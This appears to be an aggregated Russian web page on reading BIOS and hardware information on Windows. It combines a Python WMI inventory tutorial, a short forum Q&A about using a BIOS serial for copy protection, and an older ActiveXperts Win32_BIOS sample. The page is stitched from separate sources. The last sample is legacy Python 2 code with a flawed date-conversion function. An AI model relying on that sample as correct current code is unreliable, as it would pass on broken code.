Просмотр bios из windows

Эта статья является продолжением двух предыдущих статей: раз, два о способах получения информации об операционной системе и железе компьютера с помощью стандартных модулей Python. И если в первых двух статьях были рассмотрены такие модули как: winreg, для получения информации из реестра; subprocess.check_out для получения вывода консольной утилиты wmic, то здесь мы рассмотрим еще один модуль из стандартных библиотек – wmi.

000.jpg

WMI – это инструментарий управления Windows. Сам по себе инструментарий, это расширенная и адаптированная под Windows технология WBEM. В основе данной технологии лежит идея создания универсального интерфейса для управления, а также мониторинга различными системами и компонентами информационной среда. К слову, утилита wmic, это, по сути, надстройка над WMI, для упрощения взаимодействия с данным инструментарием.

В Python «из коробки» доступна библиотека wmi, как раз таки для взаимодействия с данным инструментарием. И именно ее мы будем использовать в создаваемом скрипте для получения информации.

Что потребуется?

Как и в предыдущих статьях я добавил в скрипт стороннюю библиотеку python-docx, с помощью которой создается документ Microsoft Word, в который и сохраняется вся полученная информация. Для установки данной библиотеки пишем в терминале команду:

pip install python-docx

Однако вы можете использовать различные способы для сохранения. От csv до json. Просто, в рамках данной статьи данный способ показался мне удобным.
После того, как будут установлены необходимые библиотеки, импортируем все, что нам необходимо в создаваемый скрипт.

Python:

import time
from datetime import datetime as dt
from platform import node
from wmi import WMI

from docx import Document

Для начала создадим вспомогательную функцию, с помощью которой будем переводить размеры из байтов или мегабайтов в нужные нам, для облегчения восприятия информации.

Создадим функцию get_size(bts: int, ending=’iB’) -> str, которая на входе получает целое число, а возвращает строку с конвертированными данными. Ну, а дальше все просто. Выполняем итерации до тех пор, пока исходное значение не будет меньше 1024. И после возвращаем размер.

Python:

def get_size(bts: int, ending='iB') -> str:
    size = 1024
    for item in ["", "K", "M", "G", "T", "P"]:
        if bts < size:
            return f"{bts:.2f} {item}{ending}" if bts > 0 else f"{bts:.2f} {item}B"
        bts /= size

Теперь давайте приступим к написанию функций для получения информации. В конце данной статьи проведем небольшое сравнение скорости работы текущего скрипта, с написанными ранее.

Получение информации об операционной системе

Создадим функцию wmi_os() -> dict, которая возвращает словарь с полученными значениями. Создадим объект WMI и обратимся к методу Win32_ComputerSystem. С помощью данного метода получим имя компьютера и добавим его в словарь.

Python:

def wmi_os() -> dict:
    os_info = dict()

    c = WMI()
    u_name = "Unknown"
    if cs := c.Win32_ComputerSystem()[0]:
        os_info.update({"ComputerName": cs.Name})

Теперь необходимо получить информацию о пользователях системы. Так как их может быть несколько, получаем информацию по каждому из них и сохраняем в список.

Python:

        u_name = [user.UserName for user in c.Win32_ComputerSystem()]

Затем обращаемся к методу Win32_OperatingSystem и получаем такую информацию, как: название ОС, время последней загрузки, которое тут же переводим в человекочитаемый формат. Версию ОС, номер сборки, дату установки операционной системы, директорию установки. Добавляем полученные данные в результирующий словарь. Также добавляем в словарь список с именами пользователей. После того, как информация будет получена, возвращаем результирующий словарь из функции, если он не пуст.

Python:

    if cs := c.Win32_OperatingSystem()[0]:
        os_info.update({
            'Caption': cs.Caption,
            "LastBootUpTime": dt.strptime(cs.LastBootUpTime[:14], '%Y%m%d%H%M%S').strftime("%Y-%m-%d %H:%M:%S"),
            'Version': cs.Version,
            'BuildNumber': cs.BuildNumber,
            'InstallDate': dt.strptime(cs.InstallDate[:14], '%Y%m%d%H%M%S').strftime("%Y-%m-%d %H:%M:%S"),
            'WindowsDirectory': cs.WindowsDirectory,
            'UserName': u_name
        })
    return os_info if os_info else False

Python:

# OS
def wmi_os() -> dict:
    os_info = dict()

    c = WMI()
    u_name = "Unknown"
    if cs := c.Win32_ComputerSystem()[0]:
        os_info.update({"ComputerName": cs.Name})
        u_name = [user.UserName for user in c.Win32_ComputerSystem()]
    if cs := c.Win32_OperatingSystem()[0]:
        os_info.update({
            'Caption': cs.Caption,
            "LastBootUpTime": dt.strptime(cs.LastBootUpTime[:14], '%Y%m%d%H%M%S').strftime("%Y-%m-%d %H:%M:%S"),
            'Version': cs.Version,
            'BuildNumber': cs.BuildNumber,
            'InstallDate': dt.strptime(cs.InstallDate[:14], '%Y%m%d%H%M%S').strftime("%Y-%m-%d %H:%M:%S"),
            'WindowsDirectory': cs.WindowsDirectory,
            'UserName': u_name
        })
    return os_info if os_info else False

Получение информации о BIOS

Создадим функцию bios_wmi() -> (dict, bool), которая возвращает словарь с полученными значениями. Также создаем объект WMI. Получаем словарь со значениями из метода Win32_BIOS, затем получаем производителя, имя и версию. Добавляем полученные значения в результирующий словарь и возвращаем его из функции, если словарь не пуст.

Python:

# BIOS
def bios_wmi() -> (dict, bool):
    bios_info = dict()
    if c := WMI().Win32_BIOS()[0]:
        bios_info.update({
            'Manufacturer': c.Manufacturer,
            'Name': c.Name,
            'Version': c.Version
        })
    return bios_info if bios_info else False

Получение информации о материнской плате

Создадим функцию motherboard_wmi() -> (dict, bool), возвращающую словарь с полученными значениями. Создаем объект WMI. Обращаемся к методу Win32_BaseBoard, получаем словарь со значениями и забираем информацию о производителе и модели материнской платы. Добавляем полученные данные в результирующий словарь, после чего возвращаем его из функции, если он не пуст.

Python:

# Motherboard
def motherboard_wmi() -> (dict, bool):
    motherboard = dict()
    if c := WMI().Win32_BaseBoard()[0]:
        motherboard.update({
            'Manufacturer': c.Manufacturer,
            'Product': c.Product
        })
    return motherboard if motherboard else False

Получаем информацию о процессоре

Создаем функцию cpu_wmi() -> (dict, bool), возвращающую словарь с полученными значениями. Как и в предыдущих функциях создаем объект WMI. Обращаемся к методу Win32_Processor и забираем словарь со значениями, после чего, добавляем данные значения в результирующий словарь и возвращаем из функции, если он не пуст.

Python:

# CPU
def cpu_wmi() -> (dict, bool):
    cpu_info = dict()
    w = WMI()
    if cpu := w.Win32_Processor()[0]:
        cpu_info.update({
            'Name': cpu.Name,
            'ID': cpu.ProcessorId,
            'NumberOfLogicalProcessors': cpu.NumberOfLogicalProcessors,
            'NumberOfPhysicalProcessors': cpu.NumberOfCores,
            'Manufacturer': cpu.Manufacturer,
            'MaxClockSpeed': f"{cpu.MaxClockSpeed} MHz",
            'Socket': cpu.SocketDesignation,
            'Caption': cpu.Caption
        })
    return cpu_info if cpu_info else False

Получаем информацию о видеоадаптере

Создадим функцию gpu_wmi() -> (dict, bool). Она будет возвращать словарь с полученными значениями. Создаем объект WMI и обращаемся к методу Win32_VideoController. Забираем значения: название, видеопамять, разрешение, частоту и видеопроцессор. Добавляем полученные данные в результирующий словарь и возвращаем его из функции, если он не пуст.

Python:

# GPU
def gpu_wmi() -> (dict, bool):
    gpu = dict()
    if vc := WMI().Win32_VideoController()[0]:
        gpu.update({
            "Name": vc.Description,
            "AdapterRAM": get_size(abs(vc.AdapterRAM)),
            "Resolution": f'{vc.CurrentHorizontalResolution}x{vc.CurrentVerticalResolution}',
            "CurrentRefreshRate": f'{vc.CurrentRefreshRate} Гц',
            "VideoProcessor": vc.VideoProcessor
        })
    return gpu if gpu else False

Получаем информацию об оперативной памяти

Создадим функцию memory_wmi() -> (dict, bool), которая возвращает словарь с полученными значениями. Создаем объект WMI. Получаем данные о суммарном объеме оперативной памяти и добавляем полученное значение в результирующий словарь.

Python:

def memory_wmi() -> (dict, bool):
    memory_dict = dict()
    wmi_obj = WMI()
    if memory_data := wmi_obj.Win32_PhysicalMemory():
        memory_dict.update({"TotalPhysicalMemory": get_size(sum([int(mem.Capacity) for mem in memory_data]))})

Затем итерируемся по полученным данным и забираем значения отдельно для каждой планки оперативной памяти. Создаем для каждой планки словарь и наполняем его полученными значениями. Затем возвращаем результирующий словарь из функции, если он не пуст.

Python:

        for i, mem in enumerate(memory_data):
            memory_dict[f"Physical Memory {i}"] = dict()
            memory_dict[f"Physical Memory {i}"].update({
                "Capacity": get_size(int(mem.Capacity)),
                "ConfiguredClockSpeed": mem.Speed,
                "Manufacturer": mem.Manufacturer,
                "PartNumber": mem.PartNumber,
                "SerialNumber": mem.SerialNumber
            })
    return memory_dict if memory_dict else False

Python:

# Memory
def memory_wmi() -> (dict, bool):
    memory_dict = dict()
    wmi_obj = WMI()
    if memory_data := wmi_obj.Win32_PhysicalMemory():
        memory_dict.update({"TotalPhysicalMemory": get_size(sum([int(mem.Capacity) for mem in memory_data]))})
        for i, mem in enumerate(memory_data):
            memory_dict[f"Physical Memory {i}"] = dict()
            memory_dict[f"Physical Memory {i}"].update({
                "Capacity": get_size(int(mem.Capacity)),
                "ConfiguredClockSpeed": mem.Speed,
                "Manufacturer": mem.Manufacturer,
                "PartNumber": mem.PartNumber,
                "SerialNumber": mem.SerialNumber
            })
    return memory_dict if memory_dict else False

Получаем информацию о HDD/SSD

Создадим функцию hdd_ssd_wmi() -> (dict, bool). Она будет возвращать словарь с полученными значениями. Затем создаем объект WMI, Получаем информацию о дисках с помощью метода Win32_DiskDrive, итерируемся по полученным значениям. Создаем отдельный словарь для каждого диска и добавляем значения в созданный словарь. Затем возвращаем результирующий словарь из функции, если он не пуст.

Python:

# HDD, SSD
def hdd_ssd_wmi() -> (dict, bool):
    disk_info = dict()
    c = WMI()
    if disks := c.Win32_DiskDrive():
        for disk in disks:
            disk_info[disk.DeviceID] = {
                'Caption': disk.Model,
                'MediaType': disk.InterfaceType,
                'Capacity': get_size(int(disk.Size))
            }
    return disk_info if disk_info else False

Получаем информацию о CD/DVD-ROM

Для получения информации о приводах создадим функцию cdrom_wmi() -> (dict, bool). Как и все предыдущие функции, она будет возвращать словарь с полученными значениями. Создадим объект WMI. Обратимся к методу Win32_CDROMDrive. В цикле проитерируемся по полученным значениям. Создадим для каждого привода отдельный словарь и наполним его полученными значениями. После чего, вернем результирующий словарь из функции, если он не пуст.

Python:

# CD-ROM
def cdrom_wmi() -> (dict, bool):
    cdrom_info = dict()
    c = WMI()
    if cdroms := c.Win32_CDROMDrive():
        for cdrom in cdroms:
            cdrom_info[cdrom.Caption] = dict()
            cdrom_info[cdrom.Caption].update({
                'Drive': cdrom.Caption,
                'MediaType': cdrom.MediaType,
                'Status': cdrom.Status,
                'SerialNumber': cdrom.SerialNumber,
                'Manufacturer': cdrom.Manufacturer
            })
    return cdrom_info if cdrom_info else False

Получаем данные о сетевых адаптерах

Создадим функцию nic_wmi() -> (dict, bool). Данная функция также возвращает словарь с информацией о каждом физическом сетевом адаптере. Создаем объект WMI, получаем описание каждого физического сетевого адаптера и складываем его в список. Оно пригодится нам далее. Итерируемся по полученным значениям, проверяем, не равно ли описание адаптера тому, что у нас в списке. Если да, создаем для адаптера словарь и заполняем его данными. После чего, возвращаем результирующий словарь из функции, если он не пуст.

Python:

# Network Interface
def nic_wmi() -> (dict, bool):
    nic = dict()
    conn = WMI()
    description = [it.Description for it in conn.Win32_NetworkAdapter() if it.PhysicalAdapter]
    if description:
        for it in conn.Win32_NetworkAdapterConfiguration():
            if it.Description in description:
                desc = it.Description
                nic[desc] = dict()
                try:
                    nic[desc].update({"DefaultIPGateway": it.DefaultIPGateway[0]})
                except TypeError:
                    nic[desc].update({"DefaultIPGateway": None})
                try:
                    nic[desc].update({"DHCPServer": it.DHCPServer})
                except TypeError:
                    nic[desc].update({"DHCPServer": None})
                try:
                    nic[desc].update({"DNSHostName": it.DNSHostName})
                except TypeError:
                    nic[desc].update({"DNSHostName": None})
                try:
                    nic[desc].update({"IPv4Address": it.IPAddress[0]})
                except TypeError:
                    nic[desc].update({"IPv4Address": None})
                try:
                    nic[desc].update({"IPv6Address": it.IPAddress[1]})
                except TypeError:
                    nic[desc].update({"IPv6Address": None})
                try:
                    nic[desc].update({"IPSubnet": it.IPSubnet[0]})
                except TypeError:
                    nic[desc].update({"IPSubnet": None})
                try:
                    nic[desc].update({"MACAddress": it.MACAddress})
                except TypeError:
                    nic[desc].update({"MACAddress": None})
                try:
                    nic[desc].update({"ServiceName": it.ServiceName})
                except TypeError:
                    nic[desc].update({"ServiceName": None})
    return nic if nic else False

На этом закончим получение информации. Теперь необходимо создать функцию для печати и сохранения полученных значений.

Функция для печати полученных значений из словарей

Создадим функцию print_wmic(part, dict_info). На входе она получает строку с описанием данных содержащихся в словаре. И собственно сам словарь, из которого нужно получить и вывести информацию в терминал и добавить в строковую переменную. Данную переменную мы создадим глобально: wmic_info = «».

Теперь создадим словарь синонимов. Они будут необходимы при печати данных, чтобы распечатывались не значения из словаря, а их синонимы на русском языке.

Python:

def print_wmic(part, dict_info):
    global wmic_info
    synonyms = {"ComputerName": "Имя компьютера", "Caption": "Название", "InstallDate": "Дата установки",
                "LastBootUpTime": "Время последней загрузки", "Version": "Версия",
                "WindowsDirectory": "Директория Windows", "TimeZone": "Часовой пояс", "UserName": "Имя пользователя",
                "Manufacturer": "Производитель", "Name": "Название", "Product": "Изделие",
                "MaxClockSpeed": "Максимальная тактовая частота", "SocketDesignation": "Название сокета",
                "NumberOfPhysicalProcessors": "Количество физических процессоров", "VideoProcessor": "Видеопроцессор",
                "NumberOfLogicalProcessors": "Количество логических процессоров", "Capacity": "Емкость",
                "AdapterRAM": "Оперативная память адаптера", "CurrentRefreshRate": "Текущая частота обновления",
                "Resolution": "Разрешение", "TotalPhysicalMemory": "Общий объем физической памяти", "Socket": "Сокет",
                "ConfiguredClockSpeed": "Настроенная тактовая частота", "PartNumber": "Номер партии",
                "SerialNumber": "Серийный номер", "DeviceID": "Идентификатор устройства", "MediaType": "Тип носителя",
                "FirmwareRevision": "Ревизия прошивки", "Partitions": "Разделы", "Size": "Объем", "Drive": "Диск",
                "VolumeName": "Имя тома", "VolumeSerialNumber": "Серийный номер тома", "MACAddress": "MAC-адрес",
                "NetConnectionID": "Идентификатор сетевого подключения", "DHCPServer": "DHCP-сервер",
                "IPAddress": "IP-адрес", "BuildNumber": "Номер сборки", "ID": "Идентификатор", "Status": "Статус",
                "DefaultIPGateway": "IP-адрес шлюза по-умолчанию", "DNSHostName": "DNS Имя хоста",
                "IPv4Address": "IPv4-адрес", "IPv6Address": "IPv6-адрес", "IPSubnet": "Маска подсети",
                "ServiceName": "Название службы"}

Ну и дальше, точно такая же функция, как и в предыдущих статьях. Использую ее, потому, что удобно. Итерируемся по переданному в функцию словарю. Проверяем тип значения по ключу. Если тип значения словарь, итерируемся по нему, забираем данные и добавляем в строковую переменную part. Если тип не словарь, добавляем текущий ключ и значение. Так же, все собранные данные добавляем в строковую глобальную переменную wmic_info.

Python:

    part += f'{"-" * 50}\n'
    for key in dict_info:
        if type(dict_info[key]) == dict:
            for item in dict_info[key]:
                part += f'{synonyms[item]}: {dict_info[key][item]}\n'
            part += "\n"
        else:
            part += f'{synonyms[key]}: {dict_info[key]}\n'
    print(part)
    wmic_info += f'{part}\n'

Python:

def print_wmic(part, dict_info):
    global wmic_info
    synonyms = {"ComputerName": "Имя компьютера", "Caption": "Название", "InstallDate": "Дата установки",
                "LastBootUpTime": "Время последней загрузки", "Version": "Версия",
                "WindowsDirectory": "Директория Windows", "TimeZone": "Часовой пояс", "UserName": "Имя пользователя",
                "Manufacturer": "Производитель", "Name": "Название", "Product": "Изделие",
                "MaxClockSpeed": "Максимальная тактовая частота", "SocketDesignation": "Название сокета",
                "NumberOfPhysicalProcessors": "Количество физических процессоров", "VideoProcessor": "Видеопроцессор",
                "NumberOfLogicalProcessors": "Количество логических процессоров", "Capacity": "Емкость",
                "AdapterRAM": "Оперативная память адаптера", "CurrentRefreshRate": "Текущая частота обновления",
                "Resolution": "Разрешение", "TotalPhysicalMemory": "Общий объем физической памяти", "Socket": "Сокет",
                "ConfiguredClockSpeed": "Настроенная тактовая частота", "PartNumber": "Номер партии",
                "SerialNumber": "Серийный номер", "DeviceID": "Идентификатор устройства", "MediaType": "Тип носителя",
                "FirmwareRevision": "Ревизия прошивки", "Partitions": "Разделы", "Size": "Объем", "Drive": "Диск",
                "VolumeName": "Имя тома", "VolumeSerialNumber": "Серийный номер тома", "MACAddress": "MAC-адрес",
                "NetConnectionID": "Идентификатор сетевого подключения", "DHCPServer": "DHCP-сервер",
                "IPAddress": "IP-адрес", "BuildNumber": "Номер сборки", "ID": "Идентификатор", "Status": "Статус",
                "DefaultIPGateway": "IP-адрес шлюза по-умолчанию", "DNSHostName": "DNS Имя хоста",
                "IPv4Address": "IPv4-адрес", "IPv6Address": "IPv6-адрес", "IPSubnet": "Маска подсети",
                "ServiceName": "Название службы"}
    part += f'{"-" * 50}\n'
    for key in dict_info:
        if type(dict_info[key]) == dict:
            for item in dict_info[key]:
                part += f'{synonyms[item]}: {dict_info[key][item]}\n'
            part += "\n"
        else:
            part += f'{synonyms[key]}: {dict_info[key]}\n'
    print(part)
    wmic_info += f'{part}\n'

Функция main

И еще одна функция, в которой мы будем запускать функции, получать из них словари. И если они будут получены, то запускать функцию печати. Также, здесь создаем документ Microsoft Word, в который для начала добавляем заголовок. А затем уже в конце, когда отработают все функции, добавляем параграф, куда передаем значение строковой переменной wmic_info. После сохраняем документ с именем компьютера. И выводим для пользователя информацию о сохраненном документе, а также время работы скрипта.

Python:

def main():
    global wmic_info
    t = time.monotonic()
    document = Document()
    document.add_heading(f'Сводная информация о компьютере: {node()}', 0)

    if os_info := wmi_os():
        print_wmic("Информация об операционной системе\n", os_info)
    if bios_info := bios_wmi():
        print_wmic("Информация о BIOS\n", bios_info)
    if mb_info := motherboard_wmi():
        print_wmic("Информация о материнской плате\n", mb_info)
    if cpu_info := cpu_wmi():
        print_wmic("Информация о процессоре\n", cpu_info)
    if gpu_info := gpu_wmi():
        print_wmic("Информация о видеокарте\n", gpu_info)
    if mem_info := memory_wmi():
        print_wmic("Информация об оперативной памяти\n", mem_info)
    if drive_info := hdd_ssd_wmi():
        print_wmic("Информация о HDD и SSD\n", drive_info)
    if cd_rom_info := cdrom_wmi():
        print_wmic("Информация о CD/DVD-ROM\n", cd_rom_info)
    if nic_info := nic_wmi():
        print_wmic("Информация о физических сетевых интерфейсах\n", nic_info)

    document.add_paragraph(wmic_info)
    document.save(f'{node()}.docx')
    print(f"Собранная информация сохранена в файл: {node()}.docx")
    print(f'\nВремя работы скрипта: {time.monotonic() - t} с.')


if __name__ == "__main__":
    main()

Теперь протестируем созданный скрипт на скорость работы и попробуем сравнить с другими скриптами, которые были описаны ранее, в предыдущих частях.

001.png

Как видим, на последнем месте текущий скрипт. Неожиданно, скрипт использующий для сбора информации вывод утилиты wmic оказался на втором месте. Ну и по скорости сбора лидирует скрипт, который собирает информацию из реестра. Что не удивительно. Так как данные берутся не с помощью опроса оборудования, а напрямую.

В следующий раз рассмотрим сбор информации с помощью сторонних библиотек. Это будет так еще сборная солянка. А заодно сравним все способы. Также постараюсь объединить самые быстрые способы. И протестировать время. По сути, если их комбинировать, то получить информации можно гораздо больше, чем при использовании только одного способа.

Python:

# pip install python-docx

import time
from datetime import datetime as dt
from platform import node
from wmi import WMI

from docx import Document


def get_size(bts: int, ending='iB') -> str:
    size = 1024
    for item in ["", "K", "M", "G", "T", "P"]:
        if bts < size:
            return f"{bts:.2f} {item}{ending}" if bts > 0 else f"{bts:.2f} {item}B"
        bts /= size


# OS
def wmi_os() -> dict:
    os_info = dict()

    c = WMI()
    u_name = "Unknown"
    if cs := c.Win32_ComputerSystem()[0]:
        os_info.update({"ComputerName": cs.Name})
        u_name = [user.UserName for user in c.Win32_ComputerSystem()]
    if cs := c.Win32_OperatingSystem()[0]:
        os_info.update({
            'Caption': cs.Caption,
            "LastBootUpTime": dt.strptime(cs.LastBootUpTime[:14], '%Y%m%d%H%M%S').strftime("%Y-%m-%d %H:%M:%S"),
            'Version': cs.Version,
            'BuildNumber': cs.BuildNumber,
            'InstallDate': dt.strptime(cs.InstallDate[:14], '%Y%m%d%H%M%S').strftime("%Y-%m-%d %H:%M:%S"),
            'WindowsDirectory': cs.WindowsDirectory,
            'UserName': u_name
        })
    return os_info if os_info else False


# BIOS
def bios_wmi() -> (dict, bool):
    bios_info = dict()
    if c := WMI().Win32_BIOS()[0]:
        bios_info.update({
            'Manufacturer': c.Manufacturer,
            'Name': c.Name,
            'Version': c.Version
        })
    return bios_info if bios_info else False


# Motherboard
def motherboard_wmi() -> (dict, bool):
    motherboard = dict()
    if c := WMI().Win32_BaseBoard()[0]:
        motherboard.update({
            'Manufacturer': c.Manufacturer,
            'Product': c.Product
        })
    return motherboard if motherboard else False


# CPU
def cpu_wmi() -> (dict, bool):
    cpu_info = dict()
    w = WMI()
    if cpu := w.Win32_Processor()[0]:
        cpu_info.update({
            'Name': cpu.Name,
            'ID': cpu.ProcessorId,
            'NumberOfLogicalProcessors': cpu.NumberOfLogicalProcessors,
            'NumberOfPhysicalProcessors': cpu.NumberOfCores,
            'Manufacturer': cpu.Manufacturer,
            'MaxClockSpeed': f"{cpu.MaxClockSpeed} MHz",
            'Socket': cpu.SocketDesignation,
            'Caption': cpu.Caption
        })
    return cpu_info if cpu_info else False


# GPU
def gpu_wmi() -> (dict, bool):
    gpu = dict()
    if vc := WMI().Win32_VideoController()[0]:
        gpu.update({
            "Name": vc.Description,
            "AdapterRAM": get_size(abs(vc.AdapterRAM)),
            "Resolution": f'{vc.CurrentHorizontalResolution}x{vc.CurrentVerticalResolution}',
            "CurrentRefreshRate": f'{vc.CurrentRefreshRate} Гц',
            "VideoProcessor": vc.VideoProcessor
        })
    return gpu if gpu else False


# Memory
def memory_wmi() -> (dict, bool):
    memory_dict = dict()
    wmi_obj = WMI()
    if memory_data := wmi_obj.Win32_PhysicalMemory():
        memory_dict.update({"TotalPhysicalMemory": get_size(sum([int(mem.Capacity) for mem in memory_data]))})
        for i, mem in enumerate(memory_data):
            memory_dict[f"Physical Memory {i}"] = dict()
            memory_dict[f"Physical Memory {i}"].update({
                "Capacity": get_size(int(mem.Capacity)),
                "ConfiguredClockSpeed": mem.Speed,
                "Manufacturer": mem.Manufacturer,
                "PartNumber": mem.PartNumber,
                "SerialNumber": mem.SerialNumber
            })
    return memory_dict if memory_dict else False


# HDD, SSD
def hdd_ssd_wmi() -> (dict, bool):
    disk_info = dict()
    c = WMI()
    if disks := c.Win32_DiskDrive():
        for disk in disks:
            disk_info[disk.DeviceID] = {
                'Caption': disk.Model,
                'MediaType': disk.InterfaceType,
                'Capacity': get_size(int(disk.Size))
            }
    return disk_info if disk_info else False


# CD-ROM
def cdrom_wmi() -> (dict, bool):
    cdrom_info = dict()
    c = WMI()
    if cdroms := c.Win32_CDROMDrive():
        for cdrom in cdroms:
            cdrom_info[cdrom.Caption] = dict()
            cdrom_info[cdrom.Caption].update({
                'Drive': cdrom.Caption,
                'MediaType': cdrom.MediaType,
                'Status': cdrom.Status,
                'SerialNumber': cdrom.SerialNumber,
                'Manufacturer': cdrom.Manufacturer
            })
    return cdrom_info if cdrom_info else False


# Network Interface
def nic_wmi() -> (dict, bool):
    nic = dict()
    conn = WMI()
    description = [it.Description for it in conn.Win32_NetworkAdapter() if it.PhysicalAdapter]
    if description:
        for it in conn.Win32_NetworkAdapterConfiguration():
            if it.Description in description:
                desc = it.Description
                nic[desc] = dict()
                try:
                    nic[desc].update({"DefaultIPGateway": it.DefaultIPGateway[0]})
                except TypeError:
                    nic[desc].update({"DefaultIPGateway": None})
                try:
                    nic[desc].update({"DHCPServer": it.DHCPServer})
                except TypeError:
                    nic[desc].update({"DHCPServer": None})
                try:
                    nic[desc].update({"DNSHostName": it.DNSHostName})
                except TypeError:
                    nic[desc].update({"DNSHostName": None})
                try:
                    nic[desc].update({"IPv4Address": it.IPAddress[0]})
                except TypeError:
                    nic[desc].update({"IPv4Address": None})
                try:
                    nic[desc].update({"IPv6Address": it.IPAddress[1]})
                except TypeError:
                    nic[desc].update({"IPv6Address": None})
                try:
                    nic[desc].update({"IPSubnet": it.IPSubnet[0]})
                except TypeError:
                    nic[desc].update({"IPSubnet": None})
                try:
                    nic[desc].update({"MACAddress": it.MACAddress})
                except TypeError:
                    nic[desc].update({"MACAddress": None})
                try:
                    nic[desc].update({"ServiceName": it.ServiceName})
                except TypeError:
                    nic[desc].update({"ServiceName": None})
    return nic if nic else False


wmic_info = ""


def print_wmic(part, dict_info):
    global wmic_info
    synonyms = {"ComputerName": "Имя компьютера", "Caption": "Название", "InstallDate": "Дата установки",
                "LastBootUpTime": "Время последней загрузки", "Version": "Версия",
                "WindowsDirectory": "Директория Windows", "TimeZone": "Часовой пояс", "UserName": "Имя пользователя",
                "Manufacturer": "Производитель", "Name": "Название", "Product": "Изделие",
                "MaxClockSpeed": "Максимальная тактовая частота", "SocketDesignation": "Название сокета",
                "NumberOfPhysicalProcessors": "Количество физических процессоров", "VideoProcessor": "Видеопроцессор",
                "NumberOfLogicalProcessors": "Количество логических процессоров", "Capacity": "Емкость",
                "AdapterRAM": "Оперативная память адаптера", "CurrentRefreshRate": "Текущая частота обновления",
                "Resolution": "Разрешение", "TotalPhysicalMemory": "Общий объем физической памяти", "Socket": "Сокет",
                "ConfiguredClockSpeed": "Настроенная тактовая частота", "PartNumber": "Номер партии",
                "SerialNumber": "Серийный номер", "DeviceID": "Идентификатор устройства", "MediaType": "Тип носителя",
                "FirmwareRevision": "Ревизия прошивки", "Partitions": "Разделы", "Size": "Объем", "Drive": "Диск",
                "VolumeName": "Имя тома", "VolumeSerialNumber": "Серийный номер тома", "MACAddress": "MAC-адрес",
                "NetConnectionID": "Идентификатор сетевого подключения", "DHCPServer": "DHCP-сервер",
                "IPAddress": "IP-адрес", "BuildNumber": "Номер сборки", "ID": "Идентификатор", "Status": "Статус",
                "DefaultIPGateway": "IP-адрес шлюза по-умолчанию", "DNSHostName": "DNS Имя хоста",
                "IPv4Address": "IPv4-адрес", "IPv6Address": "IPv6-адрес", "IPSubnet": "Маска подсети",
                "ServiceName": "Название службы"}
    part += f'{"-" * 50}\n'
    for key in dict_info:
        if type(dict_info[key]) == dict:
            for item in dict_info[key]:
                part += f'{synonyms[item]}: {dict_info[key][item]}\n'
            part += "\n"
        else:
            part += f'{synonyms[key]}: {dict_info[key]}\n'
    print(part)
    wmic_info += f'{part}\n'


def main():
    global wmic_info
    t = time.monotonic()
    document = Document()
    document.add_heading(f'Сводная информация о компьютере: {node()}', 0)

    if os_info := wmi_os():
        print_wmic("Информация об операционной системе\n", os_info)
    if bios_info := bios_wmi():
        print_wmic("Информация о BIOS\n", bios_info)
    if mb_info := motherboard_wmi():
        print_wmic("Информация о материнской плате\n", mb_info)
    if cpu_info := cpu_wmi():
        print_wmic("Информация о процессоре\n", cpu_info)
    if gpu_info := gpu_wmi():
        print_wmic("Информация о видеокарте\n", gpu_info)
    if mem_info := memory_wmi():
        print_wmic("Информация об оперативной памяти\n", mem_info)
    if drive_info := hdd_ssd_wmi():
        print_wmic("Информация о HDD и SSD\n", drive_info)
    if cd_rom_info := cdrom_wmi():
        print_wmic("Информация о CD/DVD-ROM\n", cd_rom_info)
    if nic_info := nic_wmi():
        print_wmic("Информация о физических сетевых интерфейсах\n", nic_info)

    document.add_paragraph(wmic_info)
    document.save(f'{node()}.docx')
    print(f"Собранная информация сохранена в файл: {node()}.docx")
    print(f'\nВремя работы скрипта: {time.monotonic() - t} с.')


if __name__ == "__main__":
    main()

А на этом, пожалуй, все.

Спасибо за внимание. Надеюсь, данная информация будет вам полезна

Мне нужен универсальный способ получения id биоса на windows/mac/linux, используя python, как это сделать?


  • Вопрос задан

  • 236 просмотров

Сделал с помощью:
import subprocess

def get_bios_id():
    result = subprocess.run(['wmic', 'bios', 'get', 'serialnumber'], stdout=subprocess.PIPE, stderr=subprocess.DEVNULL)
    output = result.stdout.decode('utf-8').strip().split('\n')[-1]
    return output

Пригласить эксперта

Такого значения нет. Имей ввиду, что:
— любая привязка к железу обламывает тех, кто сделает апгрейд
— многие железные идентификаторы поддаются изменению
— программу на питоне тривиально отредактировать, чтобы оторвать нафиг эту проверку

Если тебе нужна защита от копирования, посмотри в сторону pyarmor. Но имей ввиду, pyarmor тоже отрывается при желании.

Войдите, чтобы написать ответ


  • Показать ещё
    Загружается…

Минуточку внимания

Win32_BIOS python sample code

The foundations for Manageability in Windows is Windows Management Instrumentation (WMI; formerly WBEM) and WMI extensions for Windows Driver Model (WDM).

ActiveXperts Network Monitor provides the ability to build monitor check routines based on WMI. ActiveXperts has collected more than a hundred WMI samples.
You can use these samples as a base for new check routines you can write yourself. The Win32_BIOS WMI class can be used in ActiveXperts Network Monitor to monitor your servers.


Description

The Win32_BIOS WMI class represents the attributes of the computer system`s basic input/output services (BIOS) that are installed on the computer.

Sample Code

import win32com.client
def WMIDateStringToDate(dtmDate):
    strDateTime = ""
    if (dtmDate[4] == 0):
        strDateTime = dtmDate[5] + '/'
    else:
        strDateTime = dtmDate[4] + dtmDate[5] + '/'
    if (dtmDate[6] == 0):
        strDateTime = strDateTime + dtmDate[7] + '/'
    else:
        strDateTime = strDateTime + dtmDate[6] + dtmDate[7] + '/'
        strDateTime = strDateTime + dtmDate[0] + dtmDate[1] + dtmDate[2] + dtmDate[3] + " " + dtmDate[8] + dtmDate[9] + ":" + dtmDate[10] + dtmDate[11] +':' + dtmDate[12] + dtmDate[13]
    return strDateTime

strComputer = "."
objWMIService = win32com.client.Dispatch("WbemScripting.SWbemLocator")
objSWbemServices = objWMIService.ConnectServer(strComputer,"root\cimv2")
colItems = objSWbemServices.ExecQuery("SELECT * FROM Win32_BIOS")
for objItem in colItems:
    print "BiosCharacteristics:"
    strList = " "
    try :
        for objElem in objItem.BiosCharacteristics :
            strList = strList + `objElem` + ","
    except:
        strList = strList + 'null'
    print strList
    print "BIOSVersion:"
    strList = " "
    try :
        for objElem in objItem.BIOSVersion :
            strList = strList + `objElem` + ","
    except:
        strList = strList + 'null'
    print strList
    if objItem.BuildNumber != None:
        print "BuildNumber:" + ` objItem.BuildNumber`
    if objItem.Caption != None:
        print "Caption:" + ` objItem.Caption`
    if objItem.CodeSet != None:
        print "CodeSet:" + ` objItem.CodeSet`
    if objItem.CurrentLanguage != None:
        print "CurrentLanguage:" + ` objItem.CurrentLanguage`
    if objItem.Description != None:
        print "Description:" + ` objItem.Description`
